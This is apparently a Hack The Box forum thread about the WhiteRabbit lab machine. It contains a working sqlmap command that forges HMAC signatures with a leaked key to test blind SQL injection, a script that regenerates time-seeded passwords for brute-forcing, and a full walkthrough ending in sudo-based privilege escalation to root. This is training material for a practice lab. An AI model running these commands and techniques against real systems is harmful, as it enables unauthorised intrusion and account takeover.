[AncientNull]

I understand the signature, but if the return is always going to be the "User is not in database" message, I have been under the impression that I can't pull any data. I am doing it manually, maybe sqlmap has some wizardry. How did you format the eval?

[hujson]

before performing the sql you always have to generate the hmac signature. I generated a proxy script using deepseek which intercepts the request than calculates the hmac and sends it to the server. it took some while because it's blind sqli. I think you can also do this by just using sqlmap with eval

---

also any hints once you have the docker ssh login? i found the sudo command but not sure how to proceed from there.

[jsvensson]

Anybody could share sqlmap syntax?

[aryphowake]

before performing the sql you always have to generate the hmac signature. I generated a proxy script using deepseek which intercepts the request than calculates the hmac and sends it to the server. it took some while because it's blind sqli. I think you can also do this by just using sqlmap with eval

---

also any hints once you have the docker ssh login? i found the sudo command but not sure how to proceed from there.

Gtfo i guess. Just look the commands you have from sudo

[unrecognized]

check HTB: Registry machine

[jsvensson]

i'm trying something like that:
sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" \
--data='{"campaign_id":1,"email":"test@ex.com","message":"Clicked Link"}' \
--eval="import hmac, hashlib, json; _locals['auxHeaders']['x-gophish-signature'] = 'sha256=' + hmac.new('3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'.encode(),json.dumps({'campaign_id':1,'email':_locals['payload'],'message':'Clicked Link'},separators=(',', ':')).encode(), hashlib.sha256).hexdigest()" \
--risk=3 --level=5 --dbms=mysql --batch --proxy='http://127.0.0.1:8080' -p email
it gives valid signature but can't find sqli

[B00by]

http://a668910b5514e.whiterabbit.htb/graphql

How did you find the subdomain? I have checked my wordlists, but i couldn't find a record with "a668910b5514e".
Can you please give me the hint Thx!

[de4rm]

http://a668910b5514e.whiterabbit.htb/graphql

How did you find the subdomain? I have checked my wordlists, but i couldn't find a record with "a668910b5514e".
Can you please give me the hint Thx!

http://status.whiterabbit.htb/status/temp

[cavour13]

import ctypes
import sys

# Load the appropriate C library depending on the platform.
if sys.platform.startswith('linux'):
libc = ctypes.CDLL("libc.so.6")
elif sys.platform == "darwin":
libc = ctypes.CDLL("libc.dylib")
elif sys.platform.startswith('win'):
libc = ctypes.CDLL("msvcrt.dll")
else:
raise Exception("Unsupported platform")

def generate_password(seed):
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
# Set the seed using the C library's srand()
libc.srand(seed)
password = []
for _ in range(20):
# Call the C library's rand()
r = libc.rand()
index = r % 62 # There are 62 characters in the charset.
password.append(charset[index])
print("".join(password))

def main():
# Unix timestamp for 2024-08-30 14:40:42 UTC.
base_time_sec = 1725028842
# Loop through all 1000 milliseconds in that second.
for ms in range(1000):
seed = base_time_sec * 1000 + ms
generate_password(seed)

if __name__ == '__main__':
main()

help me later rep if you want

[cybercornelius]

High level path, various details have already been explained very nicely here:

- find vhost: status.whiterabbit.htb
- find url: status.whiterabbit.htb/status/temp
- on this page we find subdomain a668910b5514e, which is wikijs
- wikijs details a gophish webhook site on 28efa8f7df.whiterabbit.htb
- wikijs also contains the json definition for the workflow, which reveals a sql injection in the node "Get current phishing score"
- exploit the sql inject to find the database temp with table command_log
- we find two important commands here, a restic subdomain 75951e6ff with password, and a hint for a password generator
- install restic restore the repo from the command log to find a (crackable) password protected 7z with bob's sshkey
- ssh as bob into a container, on port 2222
- bob can sudo restic, use this to read /root (see gtfobins) to find morpheus sshkey (port 22)
- analyze /opt/neo-password-generator/neo-password-generator; it has a very basic password generator (watch of for time zone issues, make some test runs!)
- we will end up with 1000 possible passwords for neo, use sucrack to find out which
- neo can sudo anything